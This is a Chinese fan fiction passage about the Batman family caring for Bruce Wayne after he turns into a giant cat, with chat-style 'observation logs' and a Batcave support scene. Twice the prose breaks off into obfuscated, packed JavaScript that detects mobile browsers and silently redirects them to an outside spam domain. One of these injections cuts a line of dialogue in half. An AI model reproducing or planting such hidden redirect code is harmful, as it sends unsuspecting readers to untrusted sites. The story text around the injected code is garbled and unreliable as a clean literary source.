猫尾巴啪一下击中青年的后背,格雷森还是没发作,但轻咳一声:“算是吧,这已经是当时的他能做到的最佳道歉了。” 真好。心底那点嫉妒又开始冒泡,我低头撸猫,很快掩饰住表情,又重复咀嚼那两个不会吐出口的字。 真好。 “那我也算帮上忙了?好开心。” 整理完心绪,我眯眼微笑,尽量让自己的声线听起来轻快些。 对面人看不出这厢已绕了九曲十八弯,四目相对时是他先错开了目光,他看猫,猫不看他:“托你的福,小姐。” 我本就是说句托词,当然不会计较他有些奇怪的语气,便推了下滑落到鼻梁的眼镜。嘴张了一半,终是懒得为了避免尴尬再继续挑起下一个话题。 但有件事必须和格雷森通个气。 必须拜托他别把电话的事告诉别人。 思来想去不知道要怎么说,我决定骚扰大猫,屈指在他鼻子上弹了一下——手感微妙,于是又弹一下。 猫被扰得不胜其烦,睁眼第一件事就是去咬我的手,我没躲,手腕却被横亘过来的麦色兀然一提,勉勉强强猫口逃生。 格雷森用了些力,热烫的指腹大概是无意识地捏着腕上的皮肉,我对他的反应力叹为观止:“谢谢,我是觉得布鲁斯最多磨磨牙,不会真咬下去的。” 感觉皮肤在接触下跟着升温,我选择忍耐,说服自己这算紧急情况。但为了躲避动物可能的追咬,青年一直没放手,蓝眼睛斜睨我:“……我发现你是真的不怕被传染。” 猫不想为这事特地翻身,视野里没了作怪的东西,便大度地不再计较,脑袋缩回去拿爪子盖脸。 “也不能这么说吧,”我看着猫试图分散注意力,“……我可能只是反应比较迟钝。” 就像肩膀上中的那一枪,我大概知道自己对此也不喜欢,但除了疼痛大脑给出最多的反馈就是麻烦——要是布鲁斯还是人就好了,他一定能帮我找到一些后悔和害怕。 又或者只是我对枪击和绑架不太感冒?要是前天遇到的是灵异事件(或者是飞天大蟑螂)我一定会吓到失声尖叫。 格雷森已经收回了钳制,等我从思考中脱离,青年正用一种了然的忧心态度看着我。见我带着疑惑冲他眨眼,他亦没有解释的意思:“好吧,迟钝小姐。快到晚餐时间了,你和我们一起吃点?阿福知道你要来很早就开始准备了。” 他这么说,我自然不可能辜负老人的好意,哪怕我原本是想一个人回城里吃顿中餐的。 得到首肯,格雷森的微笑唇又翘了起来。 “我去叫一下提姆。” “嗯嗯,去吧哥。”我用中文惯性调侃,青年离去的脚步一顿,我原以为是他不太能接受这样的玩笑,还准备道歉,但他又什么都没说,从座钟后的电梯下去了。 . 晚餐的主食有炒饭。 我吃得意犹未尽,对潘尼沃斯先生的英国人身份产生了点怀疑,帮忙收拾碗碟的时候偷看对方好几眼,不出所料地被老人抓了个正着。 “您快把我的后背烧出个洞了,”管家把盘子擦净放入橱柜,脸上表情却很温和,“我斗胆猜测应该不是晚餐不和您的胃口。” “您做得超级好吃的,”我把最后一点碗碟拿出洗碗机,不好意思道,“我是想问问炒饭的食谱……如果可以的话?” 因为吃起来有些辛辣的香料味,我猜这道估计是什么东南亚改良菜。 老人并不藏私,就着这个话题,我们还交换了其他不少食谱,我能给的也只有妈妈会做的中餐和点心(她以前是开餐馆的,品质有保障)。说到最后,管家先生略带遗憾地道: “材料倒是齐全,若小姐明天还在这,倒是可以指导我一二。” 听出言下之意,我望了眼窗外。一大一小两只黑猫吃饱喝足,在打了暖光的草坪上悠闲踱步,尾巴翘得老高。 原本我是计划临走前把他们带进屋里的,现在想来只留老管家一人应付两头猫着实吃力了些。 “会不会太麻烦了?”能这么说,证明我想要回家的愿望已经不那么强烈了——我把这归功于现在待在这栋宅子里的三人都不难相处,也可能是我想报答布鲁斯对我的支持,留下来多少能帮上点忙,“我没带……呃,换洗的衣服……还有平板什么的。” 潘尼沃斯先生把最后一个盘子放好,关上了橱柜门:“我先带您去看看房间吧,是老爷在您来的时候就开始准备的。” 完了。我忍着不让嘴角太上扬,有这个由头我不住才怪——百分百是男友早就计划好的,他知道如无意外我绝对不会在他家留宿。 老男人心机好重! 窗外两只猫不见踪影,我走出厨房又觉迟疑,最终还是先开口道:“那我们把猫带进屋再去吧。” 老人知道我在担心什么,于是说好。我和他在花园入口找到了窝在一起的猫父子俩,大的在给小的舔毛,温馨得不得了,手机相机就是在这个时候派上用场的。 我才拍没几张,两只猫便慢悠悠地踱步过来了,布鲁斯先蹭了把老管家,接着就在我身边待着不动,尾巴有意无意勾住我的脚腕;小的那只则在我和老管家中间,左右嗅着方才步行过来沾染的泥土味。 “还是只小猫呢。” 我把裙子提起来,避免盖上小孩脏兮兮的梅花印。 “让我想起达米安少爷刚来庄园的时候,”潘尼沃斯先生领着猫和我一起回去,一路走过被大小猫嚯嚯的绿植们,“每天早上五点都要起来练剑,给我养的白玫瑰造景增添了不少大师波洛克的笔触。” “这里的生态很好,或许还有不少野生鸟类,”猫科动物的天性让我不禁产生了些担忧,“之后他们俩再出来散步得有人看着才行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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经过片刻的放置,我的心跳也趋于稳定,犹豫着挪了过去,轻轻跪在地毯上:“抱歉,先生,我很感激布鲁斯为我做的一切……但、但是……” 礼物、约会、住家邀请,这都可以是普通恋人间互动的一环,我的现任男友的确是我所有人际关系里最拔尖的那一个,我喜欢他的聪明、成熟和天生的同理心,哪怕他还有暴戾的一面,我也愿意慢慢了解形成原因,但在我没有任何表示的情况下擅自发现我内心所想? 太容易产生危机感了,仿佛在对方的审视中我是赤/身/裸/体的。 “是有什么不方便说的理由吗?” 老人还是包容地注视着我,这有些奇怪——我自己的爷奶都不会用这样的眼神看我。 我没有摸小孩猫的肚子,只是勾了勾他的下巴:“我其实是抱着把国内所有事都抛掉的决心来这的……之前行李坏掉的时候,我还以为天意也是如此。” 说谎太多,我张口便能替自己补完剩下的,再者,这亦是真话。唯有真话才最能转移他人的注意力。 “这两个娃娃是很小的时候爸爸送我的生日礼物,奖励我考试考了全年级第四名……但之后我没有那么好的成绩,所以也再也没有过生日礼物。” “现在看它们好好呆在那,多少有点像见了旧日的幽灵阴魂不散。” 刻意以轻松的口吻收尾,我多少是希望这个理由不会困扰到潘尼沃斯先生的,遂堆起一点笑容道,“布鲁斯只知道这是我很珍惜的生日礼物,所以才会想要修好它们给我个惊喜吧……说到底,是我没有和他好好沟通。” 老人沉默地倾听,最后和我齐齐望向还在面壁思过的大猫,他的尾巴不再那么生气,而是顺从地匍匐在地上,尖端微微上勾着。 “……老爷曾经和我提过您的一些事,说您是很优秀的女性,如果再年轻些遇到您,会想办法让韦恩家成为您的寄宿家庭,资助您念心仪的大学,”管家提及的部分令我稍感意外,他用微微的颔首来表示自己述说的真实性,“但现在亦不算晚,您靠自己也创造出了很好的未来。” 他的高评价令我颇感赧然,下意识否定道:“其实……我还是受到了不少帮助,没有布鲁斯一直鼓励我,教我很多东西,可能我现在还是——” 一事无成四个字被潘尼沃斯先生温和却不容置疑的语气打断了: “您远比自己想象得要勇敢许多,小姐,最多就是有些莽撞,这点我已经充分领会过了。” 老人的微笑太过慈祥,我不免忆起刚来那天是怎么把他害进医院的,手脚都有点不太知道该怎么摆,不小心掐了下小猫脖子上的皮,被他警告地哈了声气。 生怕猫记仇,我只能讨好地替他做下巴按摩,然后再次对一人一猫道歉:“不好意思……” “是我该向您道谢才是,即使您不愿细说,但我们推测您肩膀的枪伤应该是为达米安少爷代受的,不是吗?” 若有所指地看向我的左肩,潘尼沃斯先生不知想到什么,眼神十分悲伤。 我没有居功自傲的想法,摇摇头,伸手握住老人戴着手套的双手:“当时情况比较复杂,推小孩一把更容易让我们两个都有机会活下来。我只是做了能力范围内的最佳选择。” 这也是我没有详细告诉红罗宾的原因,要是当时知道罗宾就是达米安,我的迟疑反而会导向不好的结果。 ……我可没有要小孩去死那么恶毒,只是替他挡那么一枪,心里实在膈应。 还是猫好。 小猫正扒拉着我和老人交叠的双手玩。 潘尼沃斯先生被他逗笑了,我趁机拉着猫爪子搭在最上面,果不其然又被哈了一声。 怎么有老爷爷撑腰就对我态度那么差呢? 这小猫也是只恶魔啊恶魔。 深知自己这是套上了看小孩时的反向滤镜,我一松手,猫顿时扭身坐起,邦邦给了我俩梅花连环掌。老管家担心我被抓伤,我笑眯眯举起手:“他没伸爪子,不疼的。” 才怪,真是脾气臭力气大! 自讨猫嫌没资格抱怨,我又想自家男朋友了,乖乖从小猫那遁走,去给一旁的大猫顺毛。这只才是真正的贴心大棉袄,摸两下就会把大脑袋靠过来,我小心地避开伤口,圈住大家伙的脖颈:“不管怎么说,谢谢你给我准备这么好的房间,我很高兴。” 后颈被大猫尾巴扫了扫,这一瞬我忽地不希望他从猫变回人。人和人需要交流,人和猫却不需要,只用彼此陪伴就好。 “我去和少爷们说一声,让他们哪一个得空了替您去拿一下工作设备。”老管家适时开口,小猫在他背后瞪着我,气性大的很。 这的确是最要紧的事,我没有推脱,从口袋里找出房门钥匙和门禁卡:“那就拜托您了……这个月多灾多难得我可能得花不少时间来追进度。” 说着,我暗自数了数,心中蓦然一片凄凉——不记封面还有整整20p全彩内容,怕不是连万圣节晚上都在赶DDL。 都怪那什劳子阿卡姆骑士,下次再见必拿刀戳他窟窿眼! 16.16 10.09 语音观察日志00X 讯息抄送:所有蝙蝠家成员 根据目前的观测情况来看,布鲁斯的情绪已经基本恢复稳定,他不再具备强烈的攻击欲望,除了体型庞大,他几乎和任何一只猫科动物的习性并无不同。我们尝试对他进行进一步研究,包括血样的抽检和肌肉与骨骼密度的测试。布鲁斯的配合度不是很高,但勉强在她的安抚下完成了所有项目——同样的,我们也记录下了达米安的数据,方便进行观察和对比。 需要注意的是,由于猫科动物基本都依靠唾液进行自清洁,人类在接触过后需要及时进行消毒,我很幸运,抓挠伤感染的概率在百分之五十左右,昨天处理及时,我的血检结果为阴性。由于笼养并不可行,在我们的建议下,阿福同意尽量佩戴手套进行日常的梳毛和陪玩工作,另一位的态度则有些暧昧。她保证会多加注意,但坚持以对待普通家养猫的标准对待布鲁斯和达米安,理由是想要动物百分百的信任,就必须付出同等的努力,我和迪克都不赞成这样的想法,但对方不愿妥协,我们只能暂时选择静观其变,一旦发现不对再出手干预。 至于饮食方面,为防止人类的食谱会对猫科动物的肠胃造成损伤,我们一致同意以熟自制进行喂养,无论是布鲁斯还是挑食的达米安对此都接受良好,不过只要我距离太近,达米安就会出现护食行为。这小子即使变成了猫也一样讨厌。 …… [讯息回复: 遗孤:(加油emoji xn) 搅局者:你确定不是小鬼还在记你夹他尾巴的仇? 神谕:我认为她说得有些道理,动物有时远比人能感受到更多。(P.S.小红你应该反省一下和达米安的关系,迪克说只有你有这个待遇。) 红罗宾回复搅局者:…… 红罗宾回复神谕:…… 夜翼:我录了提宝拿小鱼干道歉结果被追着跑的视频,速来群里看!(消息已撤回) 红罗宾关闭了临时会话 ] 10.10 语音观察日志0XX 讯息抄送:所有蝙蝠家成员 提姆白天还要去公司,因此记录工作由我接手。中午刚醒过来就发现达米安坐在床尾直勾勾看着我,老实说我吓得心脏都快跳出来了,结果他半个“喵”都没说又打开门出去了……其他变异动物可没有这么聪明,我和提姆商量了一下决定晚上给他们俩做个智力测试。 至于我们的老大布鲁斯,他还是不愿意戴定位项圈,我和她一起哄了半小时,之后一整个白天大只佬看见我都龇牙——这不公平!以前怎么没发现他能这么区别对待!去散步的时候也是,只允许女朋友上他的背,达米安也想凑热闹,被他爸一爪子掀了个跟头。不过这小子鬼精鬼精的,故作可怜地叫了两声,布鲁斯就被她训得耳朵都找不到了。我还拍了视频,就放在附件里,提姆你记得加密一下,这可千万不能被尖耳朵找到! …… 智力测试做完了,过程和结果不是很理想,猫就是那种你越叫他往东他越要撞西墙的性格,所以我才喜欢狗。布鲁斯一进洞就找不着猫,达米安明明能完美避障却偏偏选择把所有障碍物都推倒,像一辆卡车在训练台上横冲直撞,最后还和提姆打了起来——一瞬间我仿佛回到了几年前,要不是他们把夜宵打翻了我会更怀念这一刻的。 顺带一提今天的夜宵是中式点心,我抢救到了最后一块,很好吃,就是不太甜,卡珊应该会喜欢。 最后我们的驯猫大师在一辆退休的蝙蝠车里找到了布鲁斯,天知道他那么大一只是怎么钻进去的,还揪住了达米安的后颈皮避免我亲爱的弟弟再添新伤。我和提姆都很肯定两只猫非常听她的话,虽然她本人似乎并没有意识到动物对自己的态度有所不同,我趋向于认为这是她之前说过的话得到了应验,提姆却觉得这件事没有那么简单。我们都知道骑士是把她当做制造变异动物的嫌疑人绑走,但现存的证据实在不足以把她和幕后黑手联系在一起,她只是个普通人,我和提姆答应过布鲁斯要好好照看她。 附件一:飞机耳蝙蝠猫.avi 附件二:夜宵遗照.jpg 附件三:智力测试报告.pdf [讯息回复: 遗孤:(眼冒爱心emoji xn)(美味emoji xn) 红罗宾:……你知道这是观测日志不是你的流水账记录本吧。 搅局者:我的老天奶!!怎么没人和我说布鲁斯变成猫之后这么可爱!!!我能原谅他十五岁禁我足整整三个星期的事了…… 夜翼 回复红罗宾:别这么死板,该记录的我可是都记了。 遗孤回复搅局者:(抚摸emoji)(猫咪emoji) 红罗宾回复搅局者:这件事你记了五年零三个月又十一天。 红罗宾回复夜翼:还有她让我转告你下午散步前她一直没有主动去拿项圈,所以没有被记恨,明天她会想办法和布鲁斯讨价还价的。 夜翼 回复红罗宾:……我祝她成功。 夜翼:小芭今晚怎么一直没上线?有人能联系到钟楼吗? ] 10.12 语音观察日志0XX 讯息抄送:所有蝙蝠家成员 因钟楼事故暂停记录一天,万幸芭芭拉没事,但钟楼资料的损坏情况不容小觑,目前正在整理剩余抢救出来的部分。袭击钟楼可以作为确认阿卡姆骑士身份的证据之一,为了应对他的手段,神谕和我已经更换了大部分密钥,但还是被他得手了——基本可以判定这是他上次入侵韦恩塔的目的,他还从CEO的私人账户上划走了两个亿,看来改良军事坦克花费不小……这笔钱我会从他那原封不动地讨回来。 回到诱变病毒的问题上,星辰实验室的研究陷入了瓶颈,即使我们已经把作为传染源的零号病人(特征为一头北极熊)送了过去。科研人员的报告中提到了这种病毒在一定程度上违反了能量守恒定律,他们相信在转化的途中病毒能够自发增殖或是减少人类的肉/体组织,但是每个人变身后的动物品种又是通过什么判断的呢?目前实验室的主流观点依旧是病毒根据受害者脑部组织细微的不同而产生的变化。 我和迪克同样想到了身为泰坦成员的加菲尔德(野兽小子),他本人也同意了采样配合研究,并给我们寄来了当初他所注射血清的相关资料。除却他的血清,我还找来了人蝠的研究样本,并拜托拉斐尔(忍者神龟)给我们寄了突变化合物的有关文件,相信能从相似案例中获取一些突破用的线索。 另外值得留意的是一直没有露面的朗斯通本人或许与此次病毒事件有关,我们必须考虑刺客联盟在背后操纵的可能性。 …… 亲爱的提姆因为要去星辰实验室,缺席了下午的散步活动。今天我们的进展不错,两只猫都很喜欢带小披风的项圈,这么想来无论蝙蝠侠还是罗宾都很满意他们的服装设计,但要我说,凯夫拉紧身衣已经够了,小时候因为披风勾在空调外机上的糗事直到现在还能被小芭拿出来大笑——看在她们女生因此迅速拉近了彼此距离的份上,笑就笑吧。 庄园后的森林和以前相比没有多少大变化,但已经很久没有凑够这么多人一起散步了,仔细想想我们一家人虽然热闹,但集体活动却很少——我是说最普通的那种,等这阵子忙完了,不如大家一起回哥谭找个地方玩?我敢肯定卡珊和史蒂芬都很想见见我们的新朋友。 说回散步,或许真如提姆所言,在她的牵制下布鲁斯和达米安都表现出了超出普通变异动物的水准。偶尔甚至不用她下达指令,两只猫便能提前知晓她要去往哪个方向。只是观察样本依旧太少,小芭和我都不能确定这种现象是否是持续性的,晚餐后在蝙蝠洞里两只猫又成了爱答不理的模样,霸占了电脑键盘谁来赶都没用。 小芭在她日常的身体检查中增加了几个项目,几乎是立刻就被她觉察到了我们俩的异样。她很愿意配合我们证实猜想,可身体检查和以往没有差别,一点超能力者可能的异常数值都看不到(除了受检者令人忧心的亚健康状态)。她本人更倾向于让我们检测一下猫的数据,毕竟他们的大脑理论上和身为人类时大小差距并不多,再加上具有高智生物典型的大脑半球,能够理解他人的难处并不是办不到的事。 关于给动物安排深度检查的日程……(明显的噪音)(长久的沉默)……噢老天……阿尔弗雷德!帮我把提姆扶到治疗台上!……你会没事的,弟弟,我保证……(录音结束) [此录音并未上传至公开频道] . 直到大哥绕过厨房宽而长的岛台,到他对面翻腾起橱柜,青年才把沉重的脑袋从电脑屏幕前挪开。 两双深浅不一的蓝眼睛打了个照面,迪克虽然不意外提姆这个时间段还醒着,仍是出于年长者的本能开了口:“你今晚睡了几个小时?” “和芭芭拉交接完刚睡了三个多小时,达米安就往我房间里跑,”仍是神色恹恹,他的三弟顶着两个硕大的黑眼圈,语气仿佛在模仿死去多时的鬼魂,“我给他热了冰箱里的鸡胸,他只闻一口就嫌弃地走了。” 窗户框着一口浓重的蓝黑色,迪克的视线挪向墙上的钟,没忍住把乱糟糟的刘海往上吹:“早上五点多基本是他现在的早餐时间,但一般来说他都会找……” 女性的名字还没从他口中说出,大哥就被一阵键盘的敲打声止住话头。眼见提姆单手打着字,另一只手则摸向咖啡杯,迪克立刻伸长手臂把杯子钉在原地,“达米安的事先放一边,你真的不再去睡会?两天前你才断了肋骨、左臂脱臼,还有——” “别人干这事我不放心,稍等我五秒。” 埋首电脑屏幕的弟弟眼都没抬。 迪克憋了半口气,双手撑在岛台光可鉴人的大理石台板上。他在内心默数五秒,弟弟的蓝眼睛堪堪在第四秒时从后面冒出来,“好了,我顺着骑士被我们查封的地下坦克拼装厂查到了他拨款的账户,里面的钱有一半都是我的。” 由于对方脸上的微笑寒气四溢,迪克静默了会,问道:“剩下一半呢。” “他打伤我的医药费和精神损失费,”一改数秒前的颓色,提姆在金钱的滋润下容光焕发,“怎么说我现在的身价都超过布鲁斯了。” 这可反驳不了,严格来说,就连绑架犯如今都更偏爱年轻的总裁德雷克而非身为股东的韦恩先生。 并没有对弟弟的这种行为作出评价,是因为迪克并不想把话题顺理成章地转到他们的义警工作上。前些天对星辰实验室的袭击不仅由骑士主导,监控画面还拍到了另一个看上去是指挥者的身影,依稀能辨认出女性特征,也正是她带着零号病人不知所踪。 提姆把事故的责任揽到了自己身上,他永远是他们中最能顾到全局的那个,有时甚至会因此看不见自己——自然作为大哥,迪克必须负起监督他身心健康的责任。 只是他还来不及开口,一道黑影便迅速闪进厨房。毛发炸起的猫丝毫没有丢失罗宾的敏捷,三两下踩上三哥的背,在他含糊的骂声中跃进大哥的怀抱里。 这还没完,迪克只觉得肉垫在凯夫拉面料上乱踩一通,达米安以一种怪异的姿势下了他的背,把自己缩成一团塞进岛台的阴影里。 于此同时,急促的足音自走廊传来,伴随着女人愠怒又气喘的吼声:“达米安·韦恩!你这只…坏猫——呜哇!” 她的愤怒戛然而止,取而代之的是什么重物磕在地毯上的闷响,迪克和提姆对视一眼,都顾不上和小猫计较,一前一后跑到厨房门口。 两人同时被地上爬起来的长发贞子吓了一跳。 实在见惯了对方穿戴整齐温声细气的模样,面前怒气冲冲的女鬼显出几分微妙的鲜活,她拨开发帘,颊边和袖口全是墨痕,从睡裙的皱痕判断,估计是一晚上都没睡过。 “抱歉,”她没有给兄弟俩一个搀扶的机会,口吻硬得发冷,“待会儿再打招呼,那只猫呢!” 言罢也不等他们回答,女人便直直冲进厨房。迪克只犹豫了一秒,就听见黑猫嗷嗷大叫,再想迈步过去时被提姆拽住肩膀:“达米安都能把这里的猫奴头子惹毛,你也别太溺爱他了。” “……我知道,我是担心事情过火了猫会咬她一口。” 说着,大哥跟了进去,留在原地的提姆心道一声未必,也紧随其后,抱了些许看好戏的心态瞧见黑猫被人骑在地上,她没打夹板的那只手正要掰开他的嘴。 “吐出来!” 绿眼睛直直瞪着,猫也不向他或迪克求救,耳朵死死贴紧脑袋,一副宁死不从的倔驴样。 两兄弟现在有点担心她真的会被咬了。 “有话好好说,”迪克蹲下身当和事佬,提姆绕行两步,确保自己第一时间就能把她拉开,“达米安没吃早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379695|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭,可能是太饿了。” 临时借口找得太差,她压根不买账,鼻尖沁着汗珠,只飞来一眼便转过头去。 “我知道!”华裔一时半会儿没把语言切回来,讲起中文时再糟糕的语气也能因咬字而柔上几分,“他吞了我好几团稿纸——达米安,吐出来!” 猫的牙关被撬开一条缝,见女人想也不想就把手往他肚里伸,迪克和提姆赶忙一左一后拽住她。她的体重对于常年锻炼的义警而言根本不算什么,腾空的一瞬间就僵在那,反射性扣住了大哥的手腕。 没了束缚,小猫一溜烟跑上岛台,心有余悸地佝偻在那,鼻子下的两瓣肉带着胡须不断颤动,身体宛如耸动的毛毛虫。 猫奴头子怀着危机感从滞空的呆愣中反应过来,用力拍了下迪克的手背:“电脑拿开!他要吐了!” 几团被胃液口水和少量猫毛包裹的纸团“啪”得落地。 在场三人不由松了口气——提姆最甚,尤其是当他看见自己的笔电被大哥高高举起的时候。 彻底安下心来,华裔抹了把脸上的汗,完全没发现自己把墨痕擦得更开。她咳嗽两声,勾住自己还被提姆揪着的衣领:“好了没事了,你快把我勒死咯。” 他这才松了手,双手接过大哥递过来的电脑,如同抱着失而复得的珍宝:“……不好意思。” 年轻人的中文带了些口音,但交流依旧顺畅,女人摆摆手,一点都不在意。她的注意力大半还放在猫上,蓬乱的发丝快要冲到他的脸,提姆嗅到了些微发热的香气。 于是他为这冒犯的距离默默后退了一步。 等提姆从这点莫名的避嫌情绪里挣脱,眼前两个人已经在对岛台上的黑猫进行思想教育了,他并没有参与其中,不过终于是明白为什么大早上地会被达米安吵醒。 “……都怪我画起来容易忘记还有别的事,”她又恢复成他们最熟悉的声线和语调,眉宇轻蹙,“还吵醒你起来给猫准备早饭。” 这份歉意令提姆联想到了小时候会揉着他的脑袋印上一吻的珍妮——而眼前人似乎没有意识到她在大宅里承担着类似的母职角色。 “咳……”提姆抿着些笑意偏过头,他在思考要不要提醒对方照一照自己花猫似的脸,“没事,反正达米安也没吃。” 她顺着他的视线看向被冷落的鸡胸,呀了一声:“那是预备着给他做点肉松的。” 遭了通念叨的黑猫烦不胜烦,趴在原地以爪捂脸,长尾巴鞭子般抽在大理石台板上。格雷森确认了他不会在上面砸出裂缝,才去把自己的手帕浸湿,递到正和提姆谈起怎么用面包机做肉松的女人眼前。 大哥在她困惑的目光里指了指脸颊。 很快,她就反应过来,匆忙把他的手帕攥起来擦拭,过分苍白的肤色浮上潮红。经过几天的共同生活,迪克也知晓对方对形象有着微妙的偏执,非常识趣没有多说什么,反而看向提姆——只是没等缓和气氛的俏皮话脱口而出,大哥的喉舌便在弟弟专注的视线里噤了声。 迪克的安静在女人走去窗前时终于被年轻人注意到,他并没意识到先前自己的虹膜正随着她的身影缓缓挪动,几天前被达米安抓伤的伤痕早已结痂,仿佛感觉到了愈合的瘙痒,提姆扬眉以眼神询问大哥,一边轻轻碰了碰自己的血痂。 那双浅色的蓝眼睛清澈得一如往常。 或许是他想多了。 “正好……你们俩早餐吃什么?” 处理完脸上墨痕的女人先喷了每个房间都有的消毒剂,随后拿了袖套,熟练地套上围裙。单手导致她没法系上背后的蝴蝶结,她倒是不在意,不过剩下两人可看不下去,迪克离得更近,一把夺过炉灶上的平底锅,提姆随即帮腔道: “不用麻烦了,我和迪克随便对付点就行。” “然后一个干吃麦片,一个咖啡喝到饱?” 对方以陈述的形式说出疑问句,同时把兄弟两堵得没能及时接口。 他们的这种反应证实了她的猜测,女人的表情变化不大,唇角微微勾起,“谁累了一晚上都不会想做饭的,我烤点面包再炒个蛋给你们垫垫肚子,就当是代表哥谭人民犒劳一下小蜜蜂义警,好不好?” 非常简单的食物组合,再搭配她诱哄似的柔和嗓音和真诚的黑眼睛,迪克几乎是要点头了——他连平底锅都已经交到她手上。 “但是……”终于,他在最后才意识到不对。论熬夜,对方也同样一夜未睡,不过没待他再据理力争,胳膊便被提姆从后面拽了一下。 弟弟在女人去冰箱拿食材的时候冲他摇了摇头,捧着电脑坐回了原来的位置,一边扬声询问厨师:“需要人帮你琯一下头发吗?” “不用,”对方麻利地把食材往岛台上一铺,气味引得角落不爽的黑毛大团子探出了头,“我记得夹子就在身上……” 她从睡衣宽大的裙摆里摸出抓夹,单手把长头发固定到脑后,几缕碎发叛逆地黏着人脖颈上的药贴,迪克意识到提姆这么说是为了什么。 就像他问过阿福为什么不拒绝让她帮忙,家务活永远是重复而枯燥的,对一个病号来说着实不是什么很好的恢复运动,更何况他们把对方留下来,本就是为了保护她不再被卷进事件里。 老人说得也很直白,那种生活对她这样的人来说反而不怎么自在。再说,能令死而复生的杰森·陶德狠栽一个大跟头(虽然事后他们分析过,骑士多半是抱着主动进阿卡姆的目的才会被抓的),任谁都不该将她当成需要小心呵护的温室花株来对待。 可不管怎么说,迪克都见过对方和父母的不睦,即使再旁敲侧击时得到了她们后来好好聊过的答复,女人眼中一闪而过的为难还是被他捕捉到了。 她在美国没有任何亲人和朋友,连带公寓除却堆叠的稿纸外都没什么生活化的布置,这种漂泊感需要有人去抓住她。 布鲁斯的暂时“缺席”不可能对她没有影响,迪克希望自己和其他人多少能弥补些许。 毕竟她还比自己小上一两岁,偶尔还会带着调侃用中文喊他“哥”。卡珊德拉也就这么叫过迪克一两回,不得不承认,他有享受其中。 现在看来,提姆选择了和他不太一样的做法,迪克不反对这样的参与能提高对方的归属感,但他还能做到更多。 最终,大哥用向她讨教如何把西式炒蛋做出湿润柔软的口感为由,从女人手里拿到了平底锅的控制权。 17.17 哥谭真是座多灾多难的城市。 连续一周,医院的隔离收容区迎来了更多的动物病人,以及更多的投诉;骑士的出逃导致部分阿卡姆犯人也被放出了笼,他本人则在义警们的抓捕路上猛使绊子,还弄坏了芭芭拉·戈登AKA神谕的脊椎支撑器,在她的钟楼里来了场爆破烟花秀。 但相对的,义警这边也有好消息,夜翼找了他有空的泰坦朋友帮忙抓获了大多阿卡姆逃犯,红罗宾和神谕破译了当初在骑士电脑里下载的计划蓝图,联合其他哥谭本地义警捣毁了对方所有的安全屋和三个隐藏在地下的坦克工厂。所有坦克的组装零件有百分之三十来自企鹅人等黑/帮的支持,剩下百分之七十则来自城外,看样子有不少人都在暗中支持骑士夺取哥谭的控制权。 为了尽快结束这场“家务事”引发的危机,几乎每个人都掰成两半儿使,等我抱着东西下到蝙蝠洞,一身紫黄制服的红发女人已经跨上了自己的摩托车。 没有刻意收敛的足音扭过了她的头,神谕还没戴上头罩,见我气喘吁吁跑到她跟前,不由伸手扶了我一把: “什么事这么着急?我的夜宵应该都装进后备箱了吧。” 她刚睡醒没多久就要去大都会寻找阿卡姆骑士的资助人,连支撑器用的都是旧款——我听阿福先生说那会加重她的腰背负担。 “你这两天正在生理期,大都会又下雨,”我飞快解释着,一边把保温杯和一小袋药贴递给她,“这是热敷用的艾草贴和红糖姜茶,小心不要着凉了。” 戈登小姐眼睑睁大,下意识想推眼镜,摸上脸颊了才发觉鼻梁空空如也:“谢谢……你的观察力好得过分。” 我吃不准这是不是在阴阳怪气,见她接过放进后备箱,还是补充说明:“毕竟我们这几天/朝夕相处,你的房间也是我在打扫。” 这个说法是不是也有点奇怪? 姜红发色的小姐并不觉得,她挑起些笑容,指了指头顶:“是啊,现在我开始有点嫉妒布鲁斯了,但又必须要感谢他把你带到我们身边……你的头巾有点歪。” 考虑到弄脏头发洗起来麻烦得要命,这几天我都会穿戴围裙和包头巾,闻言便理了理——至于老美仿佛刻在基因里的夸张赞美,这个可以尽量忽略一下。 “只是些力所能及的事,还请路上小心。” “我会给你带伴手礼回来的,家里还拜托你多照顾两天。” 留下这句话,重新做回蝙蝠女的神谕戴好头罩,一踩引擎扬长而去,我目送着摩托消失在通道里,没忍住打了个哈欠。 附和我的只剩洞里窸窸窣窣的蝙蝠振翅。 电脑主屏幕上的数据流还在不断滚动,侧屏上则显示着格雷森和德雷克的实时身体情况,相较红罗宾的平稳,套上蝙蝠侠制服的夜翼一直处于活跃状态。很快他的声音就在公共频道中响起,呼吸声很明显: “换装一下还真的有用,我们的骑士现在正以超乎寻常的热情紧咬着我不放呢。” “你确定没问题吗,今晚原本的活动是捕获杀手鳄,据前几天拍到的照片来看他可是完全变成一头巨型鳄鱼,”红罗宾刻意压低的声线紧随其后,“相当于你要在后援到达的十分钟内腹背受敌。” “你听起来就像个絮絮叨叨的老爸,亲爱的弟弟,”一阵叮叮咣咣的噪音后,夜翼提了口气,口吻依旧诙谐,“我们到底谁才戴了尖耳朵?” 红罗宾有一会儿没睬他:“……我到地方了,接下来无线电可能会被监听。红罗宾下线。” “以前还会再反驳两句呢,弟弟真是越长大越不可爱……恶,鳄鱼盘踞的下水道倒是一如既往的难闻!” 在他们交流的间隙,我比对着德雷克特意留下的操作指南便贴,调出了两边的画面——这一家义警都有在眼罩(头盔)里藏摄像头用作记录存档的习惯。 此刻红罗宾那因信号阻断而黑了屏,便只剩夜翼所面对的肮脏下水道。他移动得很快,第一视角看来甚至让我有些晕,大概是身后还有追兵的关系。 “红罗宾说得不无道理,我和便士一先生无法像神谕那样给你非常详细的情报支援。” 听见耳机里传来我的声线,夜翼又跨过两条排水管,他往后看了一眼,没有发现阿卡姆骑士的身影:“看样子我的老搭档已经离开了,今天是你坐主位?我们是不是该起个新代号什么的?” 